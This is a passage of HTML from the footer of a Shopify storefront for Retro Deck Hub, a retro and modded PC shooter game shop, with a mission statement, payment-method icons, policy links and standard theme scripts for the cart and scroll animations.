                      font-size: calc(var(--font-heading-scale) * 1 * 1.6rem);
                    }
                    @media screen and (min-width: 990px) {
                      .footer-block__heading-text_agcDqF {
                        font-size: calc(var(--font-heading-scale) * 1 * 1.8rem);
                      }
                    }
                  </style>
                  <h2 class="footer-block__heading footer-block__heading-text_agcDqF">Retro Deck Hub Mission</h2><div class="footer-block__details-content rte">
                      <p>Retro Deck Hub exists to bring back the best <strong>shooter games experience</strong> that modern day gaming do not have.</p><p>We deliver classic, retro, AAA, and enhanced PC games through modern hardware, including immersive FPS gaming experiences built from modded classics. We remove technical boundaries without removing difficulty.</p><p><strong>We believe games should challenge players, not coddle them; reward effort, not impulse; and build skill, not dependency on instant gratification.</strong></p>
                    </div></div></div><div class="footer-block--newsletter"></div>
      </div><div class="footer__content-bottom animate-item animate-item--child" style="--index: 1;">
    <div class="footer__content-bottom-wrapper page-width">
      <div class="footer__column footer__localization isolate"></div>
      <div class="footer__column footer__column--info"><div class="footer__payment">
            <span class="visually-hidden">Payment methods</span>
            <ul class="list list-payment" role="list">
              
              
<li class="list-payment__item">
                  <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" aria-labelledby="pi-american_express" viewbox="0 0 38 24" width="38" height="24"><title id="pi-american_express">American Express</title><path fill="#000" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3Z" opacity=".07"/><path fill="#006FCF" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32Z"/><path fill="#FFF" d="M22.012 19.936v-8.421L37 11.528v2.326l-1.732 1.852L37 17.573v2.375h-2.766l-1.47-1.622-1.46 1.628-9.292-.02Z"/><path fill="#006FCF" d="M23.013 19.012v-6.57h5.572v1.513h-3.768v1.028h3.678v1.488h-3.678v1.01h3.768v1.531h-5.572Z"/><path fill="#006FCF" d="m28.557 19.012 3.083-3.289-3.083-3.282h2.386l1.884 2.083 1.89-2.082H37v.051l-3.017 3.23L37 18.92v.093h-2.307l-1.917-2.103-1.898 2.104h-2.321Z"/><path fill="#FFF" d="M22.71 4.04h3.614l1.269 2.881V4.04h4.46l.77 2.159.771-2.159H37v8.421H19l3.71-8.421Z"/><path fill="#006FCF" d="m23.395 4.955-2.916 6.566h2l.55-1.315h2.98l.55 1.315h2.05l-2.904-6.566h-2.31Zm.25 3.777.875-2.09.873 2.09h-1.748Z"/><path fill="#006FCF" d="M28.581 11.52V4.953l2.811.01L32.84 9l1.456-4.046H37v6.565l-1.74.016v-4.51l-1.644 4.494h-1.59L30.35 7.01v4.51h-1.768Z"/></svg>

                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" x="0" y="0" width="38" height="24" viewbox="0 0 165.521 105.965" xml:space="preserve" aria-labelledby="pi-apple_pay"><title id="pi-apple_pay">Apple Pay</title><path fill="#000" d="M150.698 0H14.823c-.566 0-1.133 0-1.698.003-.477.004-.953.009-1.43.022-1.039.028-2.087.09-3.113.274a10.51 10.51 0 0 0-2.958.975 9.932 9.932 0 0 0-4.35 4.35 10.463 10.463 0 0 0-.975 2.96C.113 9.611.052 10.658.024 11.696a70.22 70.22 0 0 0-.022 1.43C0 13.69 0 14.256 0 14.823v76.318c0 .567 0 1.132.002 1.699.003.476.009.953.022 1.43.028 1.036.09 2.084.275 3.11a10.46 10.46 0 0 0 .974 2.96 9.897 9.897 0 0 0 1.83 2.52 9.874 9.874 0 0 0 2.52 1.83c.947.483 1.917.79 2.96.977 1.025.183 2.073.245 3.112.273.477.011.953.017 1.43.02.565.004 1.132.004 1.698.004h135.875c.565 0 1.132 0 1.697-.004.476-.002.952-.009 1.431-.02 1.037-.028 2.085-.09 3.113-.273a10.478 10.478 0 0 0 2.958-.977 9.955 9.955 0 0 0 4.35-4.35c.483-.947.789-1.917.974-2.96.186-1.026.246-2.074.274-3.11.013-.477.02-.954.022-1.43.004-.567.004-1.132.004-1.699V14.824c0-.567 0-1.133-.004-1.699a63.067 63.067 0 0 0-.022-1.429c-.028-1.038-.088-2.085-.274-3.112a10.4 10.4 0 0 0-.974-2.96 9.94 9.94 0 0 0-4.35-4.35A10.52 10.52 0 0 0 156.939.3c-1.028-.185-2.076-.246-3.113-.274a71.417 71.417 0 0 0-1.431-.022C151.83 0 151.263 0 150.698 0z" /><path fill="#FFF" d="M150.698 3.532l1.672.003c.452.003.905.008 1.36.02.793.022 1.719.065 2.583.22.75.135 1.38.34 1.984.648a6.392 6.392 0 0 1 2.804 2.807c.306.6.51 1.226.645 1.983.154.854.197 1.783.218 2.58.013.45.019.9.02 1.36.005.557.005 1.113.005 1.671v76.318c0 .558 0 1.114-.004 1.682-.002.45-.008.9-.02 1.35-.022.796-.065 1.725-.221 2.589a6.855 6.855 0 0 1-.645 1.975 6.397 6.397 0 0 1-2.808 2.807c-.6.306-1.228.511-1.971.645-.881.157-1.847.2-2.574.22-.457.01-.912.017-1.379.019-.555.004-1.113.004-1.669.004H14.801c-.55 0-1.1 0-1.66-.004a74.993 74.993 0 0 1-1.35-.018c-.744-.02-1.71-.064-2.584-.22a6.938 6.938 0 0 1-1.986-.65 6.337 6.337 0 0 1-1.622-1.18 6.355 6.355 0 0 1-1.178-1.623 6.935 6.935 0 0 1-.646-1.985c-.156-.863-.2-1.788-.22-2.578a66.088 66.088 0 0 1-.02-1.355l-.003-1.327V14.474l.002-1.325a66.7 66.7 0 0 1 .02-1.357c.022-.792.065-1.717.222-2.587a6.924 6.924 0 0 1 .646-1.981c.304-.598.7-1.144 1.18-1.623a6.386 6.386 0 0 1 1.624-1.18 6.96 6.96 0 0 1 1.98-.646c.865-.155 1.792-.198 2.586-.22.452-.012.905-.017 1.354-.02l1.677-.003h135.875" /><g><g><path fill="#000" d="M43.508 35.77c1.404-1.755 2.356-4.112 2.105-6.52-2.054.102-4.56 1.355-6.012 3.112-1.303 1.504-2.456 3.959-2.156 6.266 2.306.2 4.61-1.152 6.063-2.858" /><path fill="#000" d="M45.587 39.079c-3.35-.2-6.196 1.9-7.795 1.9-1.6 0-4.049-1.8-6.698-1.751-3.447.05-6.645 2-8.395 5.1-3.598 6.2-.95 15.4 2.55 20.45 1.699 2.5 3.747 5.25 6.445 5.151 2.55-.1 3.549-1.65 6.647-1.65 3.097 0 3.997 1.65 6.696 1.6 2.798-.05 4.548-2.5 6.247-5 1.95-2.85 2.747-5.6 2.797-5.75-.05-.05-5.396-2.101-5.446-8.251-.05-5.15 4.198-7.6 4.398-7.751-2.399-3.548-6.147-3.948-7.447-4.048" /></g><g><path fill="#000" d="M78.973 32.11c7.278 0 12.347 5.017 12.347 12.321 0 7.33-5.173 12.373-12.529 12.373h-8.058V69.62h-5.822V32.11h14.062zm-8.24 19.807h6.68c5.07 0 7.954-2.729 7.954-7.46 0-4.73-2.885-7.434-7.928-7.434h-6.706v14.894z" /><path fill="#000" d="M92.764 61.847c0-4.809 3.665-7.564 10.423-7.98l7.252-.442v-2.08c0-3.04-2.001-4.704-5.562-4.704-2.938 0-5.07 1.507-5.51 3.82h-5.252c.157-4.86 4.731-8.395 10.918-8.395 6.654 0 10.995 3.483 10.995 8.89v18.663h-5.38v-4.497h-.13c-1.534 2.937-4.914 4.782-8.579 4.782-5.406 0-9.175-3.222-9.175-8.057zm17.675-2.417v-2.106l-6.472.416c-3.64.234-5.536 1.585-5.536 3.95 0 2.288 1.975 3.77 5.068 3.77 3.95 0 6.94-2.522 6.94-6.03z" /><path fill="#000" d="M120.975 79.652v-4.496c.364.051 1.247.103 1.715.103 2.573 0 4.029-1.09 4.913-3.899l.52-1.663-9.852-27.293h6.082l6.863 22.146h.13l6.862-22.146h5.927l-10.216 28.67c-2.34 6.577-5.017 8.735-10.683 8.735-.442 0-1.872-.052-2.261-.157z" /></g></g></svg>

                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" aria-labelledby="pi-bancontact" role="img" viewbox="0 0 38 24" width="38" height="24"><title id="pi-bancontact">Bancontact</title><path fill="#000" opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M4.703 3.077h28.594c.139 0 .276.023.405.068.128.045.244.11.343.194a.9.9 0 0 1 .229.29c.053.107.08.223.08.34V20.03a.829.829 0 0 1-.31.631 1.164 1.164 0 0 1-.747.262H4.703a1.23 1.23 0 0 1-.405-.068 1.09 1.09 0 0 1-.343-.194.9.9 0 0 1-.229-.29.773.773 0 0 1-.08-.34V3.97c0-.118.027-.234.08-.342a.899.899 0 0 1 .23-.29c.098-.082.214-.148.342-.193a1.23 1.23 0 0 1 .405-.068Z" fill="#fff"/><path d="M6.38 18.562v-3.077h1.125c.818 0 1.344.259 1.344.795 0 .304-.167.515-.401.638.338.132.536.387.536.734 0 .62-.536.91-1.37.91H6.38Zm.724-1.798h.537c.328 0 .468-.136.468-.387 0-.268-.255-.356-.599-.356h-.406v.743Zm0 1.262h.448c.438 0 .693-.093.693-.383 0-.286-.219-.404-.63-.404h-.51v.787Zm3.284.589c-.713 0-1.073-.295-1.073-.69 0-.436.422-.69 1.047-.695.156.002.31.014.464.035v-.105c0-.269-.183-.396-.531-.396a2.128 2.128 0 0 0-.688.105l-.13-.474a3.01 3.01 0 0 1 .9-.132c.767 0 1.147.343 1.147.936v1.222c-.214.093-.615.194-1.136.194Zm.438-.497v-.47a2.06 2.06 0 0 0-.37-.036c-.24 0-.427.08-.427.286 0 .185.156.281.432.281a.947.947 0 0 0 .365-.061Zm1.204.444v-2.106a3.699 3.699 0 0 1 1.177-.193c.76 0 1.198.316 1.198.9v1.399h-.719v-1.354c0-.303-.167-.444-.484-.444a1.267 1.267 0 0 0-.459.079v1.719h-.713Zm4.886-2.167-.135.479a1.834 1.834 0 0 0-.588-.11c-.422 0-.652.25-.652.664 0 .453.24.685.688.685.2-.004.397-.043.578-.114l.115.488a2.035 2.035 0 0 1-.75.128c-.865 0-1.365-.453-1.365-1.17 0-.712.495-1.182 1.323-1.182.27-.001.538.043.787.132Zm1.553 2.22c-.802 0-1.302-.47-1.302-1.178 0-.704.5-1.174 1.302-1.174.807 0 1.297.47 1.297 1.173 0 .708-.49 1.179-1.297 1.179Zm0-.502c.37 0 .563-.259.563-.677 0-.413-.193-.672-.563-.672-.364 0-.568.26-.568.672 0 .418.204.677.568.677Zm1.713.449v-2.106a3.699 3.699 0 0 1 1.177-.193c.76 0 1.198.316 1.198.9v1.399h-.719v-1.354c0-.303-.166-.444-.484-.444a1.268 1.268 0 0 0-.459.079v1.719h-.713Zm3.996.053c-.62 0-.938-.286-.938-.866v-.95h-.354v-.484h.355v-.488l.718-.03v.518h.578v.484h-.578v.94c0 .256.125.374.36.374.093 0 .185-.008.276-.026l.036.488c-.149.028-.3.041-.453.04Zm1.814 0c-.713 0-1.073-.295-1.073-.69 0-.436.422-.69 1.047-.695.155.002.31.014.464.035v-.105c0-.269-.183-.396-.532-.396a2.128 2.128 0 0 0-.687.105l-.13-.474a3.01 3.01 0 0 1 .9-.132c.766 0 1.146.343 1.146.936v1.222c-.213.093-.614.194-1.135.194Zm.438-.497v-.47a2.06 2.06 0 0 0-.37-.036c-.24 0-.427.08-.427.286 0 .185.156.281.432.281a.946.946 0 0 0 .365-.061Zm3.157-1.723-.136.479a1.834 1.834 0 0 0-.588-.11c-.422 0-.651.25-.651.664 0 .453.24.685.687.685.2-.004.397-.043.578-.114l.115.488a2.035 2.035 0 0 1-.75.128c-.865 0-1.365-.453-1.365-1.17 0-.712.495-1.182 1.323-1.182.27-.001.538.043.787.132Zm1.58 2.22c-.62 0-.938-.286-.938-.866v-.95h-.354v-.484h.354v-.488l.72-.03v.518h.577v.484h-.578v.94c0 .256.125.374.36.374.092 0 .185-.008.276-.026l.036.488c-.149.028-.3.041-.453.04Z" fill="#1E3764"/><path d="M11.394 13.946c3.803 0 5.705-2.14 7.606-4.28H6.38v4.28h5.014Z" fill="url(#pi-bancontact-a)"/><path d="M26.607 5.385c-3.804 0-5.705 2.14-7.607 4.28h12.62v-4.28h-5.013Z" fill="url(#pi-bancontact-b)"/><defs><lineargradient id="pi-bancontact-a" x1="8.933" y1="12.003" x2="17.734" y2="8.13" gradientunits="userSpaceOnUse"><stop stop-color="#005AB9"/><stop offset="1" stop-color="#1E3764"/></lineargradient><lineargradient id="pi-bancontact-b" x1="19.764" y1="10.037" x2="29.171" y2="6.235" gradientunits="userSpaceOnUse"><stop stop-color="#FBA900"/><stop offset="1" stop-color="#FFD800"/></lineargradient></defs></svg>
                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-diners_club"><title id="pi-diners_club">Diners Club</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M12 12v3.7c0 .3-.2.3-.5.2-1.9-.8-3-3.3-2.3-5.4.4-1.1 1.2-2 2.3-2.4.4-.2.5-.1.5.2V12zm2 0V8.3c0-.3 0-.3.3-.2 2.1.8 3.2 3.3 2.4 5.4-.4 1.1-1.2 2-2.3 2.4-.4.2-.4.1-.4-.2V12zm7.2-7H13c3.8 0 6.8 3.1 6.8 7s-3 7-6.8 7h8.2c3.8 0 6.8-3.1 6.8-7s-3-7-6.8-7z" fill="#3086C8"/></svg>
                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" viewbox="0 0 38 24" width="38" height="24" role="img" aria-labelledby="pi-discover" fill="none" xmlns="http://www.w3.org/2000/svg"><title id="pi-discover">Discover</title><path fill="#000" opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32z" fill="#fff"/><path d="M3.57 7.16H2v5.5h1.57c.83 0 1.43-.2 1.96-.63.63-.52 1-1.3 1-2.11-.01-1.63-1.22-2.76-2.96-2.76zm1.26 4.14c-.34.3-.77.44-1.47.44h-.29V8.1h.29c.69 0 1.11.12 1.47.44.37.33.59.84.59 1.37 0 .53-.22 1.06-.59 1.39zm2.19-4.14h1.07v5.5H7.02v-5.5zm3.69 2.11c-.64-.24-.83-.4-.83-.69 0-.35.34-.61.8-.61.32 0 .59.13.86.45l.56-.73c-.46-.4-1.01-.61-1.62-.61-.97 0-1.72.68-1.72 1.58 0 .76.35 1.15 1.35 1.51.42.15.63.25.74.31.21.14.32.34.32.57 0 .45-.35.78-.83.78-.51 0-.92-.26-1.17-.73l-.69.67c.49.73 1.09 1.05 1.9 1.05 1.11 0 1.9-.74 1.9-1.81.02-.89-.35-1.29-1.57-1.74zm1.92.65c0 1.62 1.27 2.87 2.9 2.87.46 0 .86-.09 1.34-.32v-1.26c-.43.43-.81.6-1.29.6-1.08 0-1.85-.78-1.85-1.9 0-1.06.79-1.89 1.8-1.89.51 0 .9.18 1.34.62V7.38c-.47-.24-.86-.34-1.32-.34-1.61 0-2.92 1.28-2.92 2.88zm12.76.94l-1.47-3.7h-1.17l2.33 5.64h.58l2.37-5.64h-1.16l-1.48 3.7zm3.13 1.8h3.04v-.93h-1.97v-1.48h1.9v-.93h-1.9V8.1h1.97v-.94h-3.04v5.5zm7.29-3.87c0-1.03-.71-1.62-1.95-1.62h-1.59v5.5h1.07v-2.21h.14l1.48 2.21h1.32l-1.73-2.32c.81-.17 1.26-.72 1.26-1.56zm-2.16.91h-.31V8.03h.33c.67 0 1.03.28 1.03.82 0 .55-.36.85-1.05.85z" fill="#231F20"/><path d="M20.16 12.86a2.931 2.931 0 100-5.862 2.931 2.931 0 000 5.862z" fill="url(#pi-paint0_linear)"/><path opacity=".65" d="M20.16 12.86a2.931 2.931 0 100-5.862 2.931 2.931 0 000 5.862z" fill="url(#pi-paint1_linear)"/><path d="M36.57 7.506c0-.1-.07-.15-.18-.15h-.16v.48h.12v-.19l.14.19h.14l-.16-.2c.06-.01.1-.06.1-.13zm-.2.07h-.02v-.13h.02c.06 0 .09.02.09.06 0 .05-.03.07-.09.07z" fill="#231F20"/><path d="M36.41 7.176c-.23 0-.42.19-.42.42 0 .23.19.42.42.42.23 0 .42-.19.42-.42 0-.23-.19-.42-.42-.42zm0 .77c-.18 0-.34-.15-.34-.35 0-.19.15-.35.34-.35.18 0 .33.16.33.35 0 .19-.15.35-.33.35z" fill="#231F20"/><path d="M37 12.984S27.09 19.873 8.976 23h26.023a2 2 0 002-1.984l.024-3.02L37 12.985z" fill="#F48120"/><defs><lineargradient id="pi-paint0_linear" x1="21.657" y1="12.275" x2="19.632" y2="9.104" gradientunits="userSpaceOnUse"><stop stop-color="#F89F20"/><stop offset=".25" stop-color="#F79A20"/><stop offset=".533" stop-color="#F68D20"/><stop offset=".62" stop-color="#F58720"/><stop offset=".723" stop-color="#F48120"/><stop offset="1" stop-color="#F37521"/></lineargradient><lineargradient id="pi-paint1_linear" x1="21.338" y1="12.232" x2="18.378" y2="6.446" gradientunits="userSpaceOnUse"><stop stop-color="#F58720"/><stop offset=".359" stop-color="#E16F27"/><stop offset=".703" stop-color="#D4602C"/><stop offset=".982" stop-color="#D05B2E"/></lineargradient></defs></svg>
                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-google_pay"><title id="pi-google_pay">Google Pay</title><path d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000" opacity=".07"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32" fill="#FFF"/><path d="M18.093 11.976v3.2h-1.018v-7.9h2.691a2.447 2.447 0 0 1 1.747.692 2.28 2.28 0 0 1 .11 3.224l-.11.116c-.47.447-1.098.69-1.747.674l-1.673-.006zm0-3.732v2.788h1.698c.377.012.741-.135 1.005-.404a1.391 1.391 0 0 0-1.005-2.354l-1.698-.03zm6.484 1.348c.65-.03 1.286.188 1.778.613.445.43.682 1.03.65 1.649v3.334h-.969v-.766h-.049a1.93 1.93 0 0 1-1.673.931 2.17 2.17 0 0 1-1.496-.533 1.667 1.667 0 0 1-.613-1.324 1.606 1.606 0 0 1 .613-1.336 2.746 2.746 0 0 1 1.698-.515c.517-.02 1.03.093 1.49.331v-.208a1.134 1.134 0 0 0-.417-.901 1.416 1.416 0 0 0-.98-.368 1.545 1.545 0 0 0-1.319.717l-.895-.564a2.488 2.488 0 0 1 2.182-1.06zM23.29 13.52a.79.79 0 0 0 .337.662c.223.176.5.269.785.263.429-.001.84-.17 1.146-.472.305-.286.478-.685.478-1.103a2.047 2.047 0 0 0-1.324-.374 1.716 1.716 0 0 0-1.03.294.883.883 0 0 0-.392.73zm9.286-3.75l-3.39 7.79h-1.048l1.281-2.728-2.224-5.062h1.103l1.612 3.885 1.569-3.885h1.097z" fill="#5F6368"/><path d="M13.986 11.284c0-.308-.024-.616-.073-.92h-4.29v1.747h2.451a2.096 2.096 0 0 1-.9 1.373v1.134h1.464a4.433 4.433 0 0 0 1.348-3.334z" fill="#4285F4"/><path d="M9.629 15.721a4.352 4.352 0 0 0 3.01-1.097l-1.466-1.14a2.752 2.752 0 0 1-4.094-1.44H5.577v1.17a4.53 4.53 0 0 0 4.052 2.507z" fill="#34A853"/><path d="M7.079 12.05a2.709 2.709 0 0 1 0-1.735v-1.17H5.577a4.505 4.505 0 0 0 0 4.075l1.502-1.17z" fill="#FBBC04"/><path d="M9.629 8.44a2.452 2.452 0 0 1 1.74.68l1.3-1.293a4.37 4.37 0 0 0-3.065-1.183 4.53 4.53 0 0 0-4.027 2.5l1.502 1.171a2.715 2.715 0 0 1 2.55-1.875z" fill="#EA4335"/></svg>

                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-master"><title id="pi-master">Mastercard</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><circle fill="#EB001B" cx="15" cy="12" r="7"/><circle fill="#F79E1B" cx="23" cy="12" r="7"/><path fill="#FF5F00" d="M22 12c0-2.4-1.2-4.5-3-5.7-1.8 1.3-3 3.4-3 5.7s1.2 4.5 3 5.7c1.8-1.2 3-3.3 3-5.7z"/></svg>
                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-shopify_pay"><title id="pi-shopify_pay">Shop Pay</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000"/><path d="M35.889 0C37.05 0 38 .982 38 2.182v19.636c0 1.2-.95 2.182-2.111 2.182H2.11C.95 24 0 23.018 0 21.818V2.182C0 .982.95 0 2.111 0H35.89z" fill="#5A31F4"/><path d="M9.35 11.368c-1.017-.223-1.47-.31-1.47-.705 0-.372.306-.558.92-.558.54 0 .934.238 1.225.704a.079.079 0 00.104.03l1.146-.584a.082.082 0 00.032-.114c-.475-.831-1.353-1.286-2.51-1.286-1.52 0-2.464.755-2.464 1.956 0 1.275 1.15 1.597 2.17 1.82 1.02.222 1.474.31 1.474.705 0 .396-.332.582-.993.582-.612 0-1.065-.282-1.34-.83a.08.08 0 00-.107-.035l-1.143.57a.083.083 0 00-.036.111c.454.92 1.384 1.437 2.627 1.437 1.583 0 2.539-.742 2.539-1.98s-1.155-1.598-2.173-1.82v-.003zM15.49 8.855c-.65 0-1.224.232-1.636.646a.04.04 0 01-.069-.03v-2.64a.08.08 0 00-.08-.081H12.27a.08.08 0 00-.08.082v8.194a.08.08 0 00.08.082h1.433a.08.08 0 00.081-.082v-3.594c0-.695.528-1.227 1.239-1.227.71 0 1.226.521 1.226 1.227v3.594a.08.08 0 00.081.082h1.433a.08.08 0 00.081-.082v-3.594c0-1.51-.981-2.577-2.355-2.577zM20.753 8.62c-.778 0-1.507.24-2.03.588a.082.082 0 00-.027.109l.632 1.088a.08.08 0 00.11.03 2.5 2.5 0 011.318-.366c1.25 0 2.17.891 2.17 2.068 0 1.003-.736 1.745-1.669 1.745-.76 0-1.288-.446-1.288-1.077 0-.361.152-.657.548-.866a.08.08 0 00.032-.113l-.596-1.018a.08.08 0 00-.098-.035c-.799.299-1.359 1.018-1.359 1.984 0 1.46 1.152 2.55 2.76 2.55 1.877 0 3.227-1.313 3.227-3.195 0-2.018-1.57-3.492-3.73-3.492zM28.675 8.843c-.724 0-1.373.27-1.845.746-.026.027-.069.007-.069-.029v-.572a.08.08 0 00-.08-.082h-1.397a.08.08 0 00-.08.082v8.182a.08.08 0 00.08.081h1.433a.08.08 0 00.081-.081v-2.683c0-.036.043-.054.069-.03a2.6 2.6 0 001.808.7c1.682 0 2.993-1.373 2.993-3.157s-1.313-3.157-2.993-3.157zm-.271 4.929c-.956 0-1.681-.768-1.681-1.783s.723-1.783 1.681-1.783c.958 0 1.68.755 1.68 1.783 0 1.027-.713 1.783-1.681 1.783h.001z" fill="#fff"/></svg>

                </li><li class="list-payment__item">
                  <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-visa"><title id="pi-visa">Visa</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M28.3 10.1H28c-.4 1-.7 1.5-1 3h1.9c-.3-1.5-.3-2.2-.6-3zm2.9 5.9h-1.7c-.1 0-.1 0-.2-.1l-.2-.9-.1-.2h-2.4c-.1 0-.2 0-.2.2l-.3.9c0 .1-.1.1-.1.1h-2.1l.2-.5L27 8.7c0-.5.3-.7.8-.7h1.5c.1 0 .2 0 .2.2l1.4 6.5c.1.4.2.7.2 1.1.1.1.1.1.1.2zm-13.4-.3l.4-1.8c.1 0 .2.1.2.1.7.3 1.4.5 2.1.4.2 0 .5-.1.7-.2.5-.2.5-.7.1-1.1-.2-.2-.5-.3-.8-.5-.4-.2-.8-.4-1.1-.7-1.2-1-.8-2.4-.1-3.1.6-.4.9-.8 1.7-.8 1.2 0 2.5 0 3.1.2h.1c-.1.6-.2 1.1-.4 1.7-.5-.2-1-.4-1.5-.4-.3 0-.6 0-.9.1-.2 0-.3.1-.4.2-.2.2-.2.5 0 .7l.5.4c.4.2.8.4 1.1.6.5.3 1 .8 1.1 1.4.2.9-.1 1.7-.9 2.3-.5.4-.7.6-1.4.6-1.4 0-2.5.1-3.4-.2-.1.2-.1.2-.2.1zm-3.5.3c.1-.7.1-.7.2-1 .5-2.2 1-4.5 1.4-6.7.1-.2.1-.3.3-.3H18c-.2 1.2-.4 2.1-.7 3.2-.3 1.5-.6 3-1 4.5 0 .2-.1.2-.3.2M5 8.2c0-.1.2-.2.3-.2h3.4c.5 0 .9.3 1 .8l.9 4.4c0 .1 0 .1.1.2 0-.1.1-.1.1-.1l2.1-5.1c-.1-.1 0-.2.1-.2h2.1c0 .1 0 .1-.1.2l-3.1 7.3c-.1.2-.1.3-.2.4-.1.1-.3 0-.5 0H9.7c-.1 0-.2 0-.2-.2L7.9 9.5c-.2-.2-.5-.5-.9-.6-.6-.3-1.7-.5-1.9-.5L5 8.2z" fill="#142688"/></svg>
                </li></ul>
          </div></div>
    </div>
    <div class="footer__content-bottom-wrapper page-width">
      <div class="footer__copyright caption">
        <small class="copyright__content">
          &copy; 2026, <a href="/" title="">Retro Deck Hub</a></small>
        
<ul class="policies list-unstyled"><li>
                  <small class="copyright__content"
                    ><a href="/policies/privacy-policy">Privacy policy</a></small
>
                </li><li>
                  <small class="copyright__content"
                    ><a href="/policies/refund-policy">Refund policy</a></small
>
                </li><li>
                  <small class="copyright__content"
                    ><a href="/policies/terms-of-service">Terms of service</a></small
>
                </li><li>
                  <small class="copyright__content"
                    ><a href="/policies/shipping-policy">Shipping policy</a></small
>
                </li><li>
                  <small class="copyright__content"
                    ><a href="/policies/contact-information">Contact information</a></small
>
                </li><li>
                  <small class="copyright__content"
                    ><a href="/policies/#shopifyReshowConsentBanner">Cookie preferences</a></small
>
                </li></ul></div>
    </div>
  </div>
</footer>


</div>
<!-- END sections: footer-group -->

    <ul hidden>
      <li id="a11y-refresh-page-message">Choosing a selection results in a full page refresh.</li>
      <li id="a11y-new-window-message">Opens in a new window.</li>
    </ul>

    <script>
      window.shopUrl = 'https://retrodeckhub.com';
      window.routes = {
        cart_add_url: '/cart/add',
        cart_change_url: '/cart/change',
        cart_update_url: '/cart/update',
        cart_clear_url: '/cart/clear',
        cart_url: '/cart',
        predictive_search_url: '/search/suggest',
      };

      window.cartStrings = {
        error: `There was an error while updating your cart. Please try again.`,
        quantityError: `You can only add [quantity] of this item to your cart.`,
      };

      window.variantStrings = {
        addToCart: `Add to cart`,
        soldOut: `Sold out`,
        unavailable: `Unavailable`,
        unavailable_with_option: `[value] - Unavailable`,
      };

      window.accessibilityStrings = {
        imageAvailable: `Image [index] is now available in gallery view`,
        shareSuccess: `Link copied to clipboard`,
        pauseSlideshow: `Pause slideshow`,
        playSlideshow: `Play slideshow`,
      };
    </script>

    <script>
      const productForm = document.querySelector('product-form[data-main="true"]');
      if (productForm) {
        document.querySelectorAll('[id^="SectionAtcBtn-"]').forEach(btn => {
          btn.addEventListener('click', (e) => {
            productForm.handleSubmit(e);
          })
        })
      }

      
        const stickyAtc = document.querySelector('.sticky-atc');
        let bottomMargin = 50;
        if (stickyAtc) bottomMargin += stickyAtc.clientHeight;
        const shrineAnimationsObserver = new IntersectionObserver(elements => {
          elements.forEach(element => {
            if (element.isIntersecting) {
              element.target.classList.add('animate--shown');
            } 
            
          })
        },  { rootMargin: `0px 0px -${bottomMargin}px 0px` })

        function initAnimations(rootElement = document, isThemeEditorEvent = false) {
          const elementsToAnimate = rootElement.querySelectorAll('.animate-section');
          if (elementsToAnimate.length == 0) return;

          
          elementsToAnimate.forEach(element => {
            if (isThemeEditorEvent) {
              element.classList.add('animate--shown');
              return;
            } 
            shrineAnimationsObserver.observe(element);
          })
        }

        window.addEventListener('DOMContentLoaded', () => initAnimations());
        if (Shopify.designMode) {
          document.addEventListener('shopify:section:load', (event) => initAnimations(event.target, true));
